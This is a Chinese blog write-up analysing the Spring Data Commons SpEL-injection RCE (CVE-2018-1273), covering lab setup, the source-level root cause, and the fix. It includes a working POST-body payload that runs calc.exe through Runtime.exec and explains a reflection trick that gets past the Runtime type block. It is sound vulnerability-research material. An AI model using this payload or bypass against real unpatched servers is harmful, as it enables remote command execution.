Spring RCE漏洞分析2（CVE-2018-1273）_综合

0x00 前言

继续分析Spring的历史漏洞，本篇记录Spring Data Commons的远程代码执行漏洞（CVE-2018-1273）的分析。

0x01 环境搭建

使用的Spring Data Example Projects提供的示例代码。
但该项目中包含有15个子模块，如果将其整体导入IDEA，则需要下载所有模块中的依赖，显然这是没有必要的。通过参考这篇文章，发现只需导入web模块中的example模块即可复现该漏洞：
在这里插入图片描述
因此可以通过修改example子模块中的pom.xml中的配置将其变为一个单独的SpringBoot项目：
1、首先修改<parent>标签如下：

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.0.0.RELEASE</version>
</parent>

因为该漏洞影响的Spring-Data-Commons的版本如下：
Spring-Data-Commons 1.13 to 1.13.10
Spring-Data-Commons 2.0 to 2.0.5
因此上面引入的SpringBoot版本为2.0.0.RELEASE，其对应的Spring-Data-Commons版本为2.0.5.RELEASE。
2、再添加如下依赖：

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId>
</dependency>

这样就可以把example子模块作为一个独立的SpringBoot项目导入到IDEA了。另外由于测试代码一般需要引入junit包，为了方便，我在导入项目之前把\example\src下的test文件夹删除掉了。
3、导入完成后，发现程序中使用了lombok包，因此还需添加如下依赖：

<dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId><scope>provided</scope>
</dependency>

这时，就可以运行example.Application类中main方法启动项目了。

0x02 漏洞利用

1、首先浏览器访问http://127.0.0.1:8080/users地址，即出现如下界面：
在这里插入图片描述
2、抓包，修改POST数据如下：

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxx&password=xxx&repeatedPassword=xxx

发包后，即可执行calc.exe命令。

0x03 漏洞原理

1、首先在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue方法处设置断点：
在这里插入图片描述
调试过程中发现该方法会处理所有GET/POST请求的参数名与参数值，且当propertyName值为Controller类中处理该请求的方法的形参对应的类中属性名时，才会进入上图中的else分支。下面解释一下这句话：
（1）首先看example.users.web.UserController#register方法如下，可以看到该方法是处理请求地址为/users的POST请求，看到其有一个类型为UserForm的形参：
在这里插入图片描述
（2）查看UserForm的代码，发现其有如下三个属性，因此只有propertyName值为username、password、repeatedPassword时，才会进入后面的else分支。

2、但当propertyName值为username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“calc.exe”)]时，也可以进入else分支，因此通过单步执行if判断里面的代码后发现在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#getPropertyPath方法中，其在处理propertyName值时，会将“[]”中包含的字符包括“[]”去除后再与UserForm类中的属性值做对比，因此可以校验成功进入后面的else分支：
在这里插入图片描述
3、进入else分支后，就看到了熟悉的代码：

这里只截取了关键的代码，可以看到先是使用propertyName值创建了一个Expression对象，然后后面调用expression.setValue()方法时，传入的Context对象类型为StandardEvaluationContext，可解析任意SpEL。因此造成任意命令执行。
4、在前一篇文章中分析CVE-2018-1270漏洞时，已经知道了expression.getValue()方法可以解析SpEL，下面我写了测试代码来理解一下expression.setValue() 方法也可以解析SpEL：

public class Test {
    public static void main(String[] args) throws Exception {
    class Team {
    public List<String> names = new ArrayList<String>();}Team team = new Team();team.names.add("zhangsan");StandardEvaluationContext context = new StandardEvaluationContext(team);new SpelExpressionParser().parseExpression("names[0]").setValue(context, "lisi");System.out.println(team.names.get(0));}
}

运行结果如下，可以看到通过SpEL表达式成功修改了names集合中的数据：
在这里插入图片描述
5、下面把第4步中如下代码：

new SpelExpressionParser().parseExpression("names[0]").setValue(context, "lisi");

修改为：

new SpelExpressionParser().parseExpression("names[T(java.lang.Runtime).getRuntime().exec('calc.exe')]").setValue(context, "lisi");

再运行main方法，发现弹出了计算器。
再进一步修改names[0]为names[‘0’]，发现同样可以解析成功。
到了这里就明白了，对于XX[YY]格式的SpEL表达式，在解析时会先把YY作为一个SpEL表达式进行解析得到结果ZZ，然后再解析XX[ZZ]得到最终的结果。
6、最后一个问题，为什么命令执行的payload用的是

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")

而不是

T(java.lang.Runtime).getRuntime().exec('calc.exe')

还是在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue方法中，有如下代码：
在这里插入图片描述
这段代码很熟悉了，在前一篇分析CVE-2018-1270漏洞修复时，知道了SimpleEvaluationContext类中的TypeLocator也是被设置成了这个Lambda表达式，以此来阻止解析java.lang.Runtime、java.lang.ProcessBuilder等类。但在这里可以使用反射的方式绕过，下面简单看下原因：
（1）当payload使用T(java.lang.Runtime).getRuntime().exec('calc.exe')时，在org.springframework.expression.spel.ast.CompoundExpression#getValueRef方法中，可以看到如下红框处的代码nextNode类型为TypeReference，然后就运行到了org.springframework.expression.spel.ExpressionState#findType方法处，从而触发上面的Lambda表达式中的异常：
在这里插入图片描述
（2）当payload使用#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")时，在
org.springframework.expression.spel.ast.CompoundExpression#getValueRef方法中，可以看到nextNode类型为VariableReference：

然后运行到org.springframework.expression.spel.ast.VariableReference#getValueInternal方法处，直接返回如下对象，进而通过反射的方式来利用Runtime类执行命令。
在这里插入图片描述
这里只是通过对比两种payload的调用栈进行了简单分析，后面有时间的话再深入分析一下。到了这里，关于漏洞原理方面的问题大部分都解决了。

0x04 漏洞修复

修改SpringBoot的版本为2.0.1.RELEASE，其对应的Spring Data Commons版本为2.0.6.RELEASE，在该版本中漏洞已被修复。从下图可以看到修复方案与CVE-2018-1270中的修复方案相同，即使用SimpleEvaluationContext替换StandardEvaluationContext，该方案的原理在前一篇也分析了，就不赘述了。
在这里插入图片描述

0x05 参考

https://github.com/spring-projects/spring-data-examples
https://xz.aliyun.com/t/2269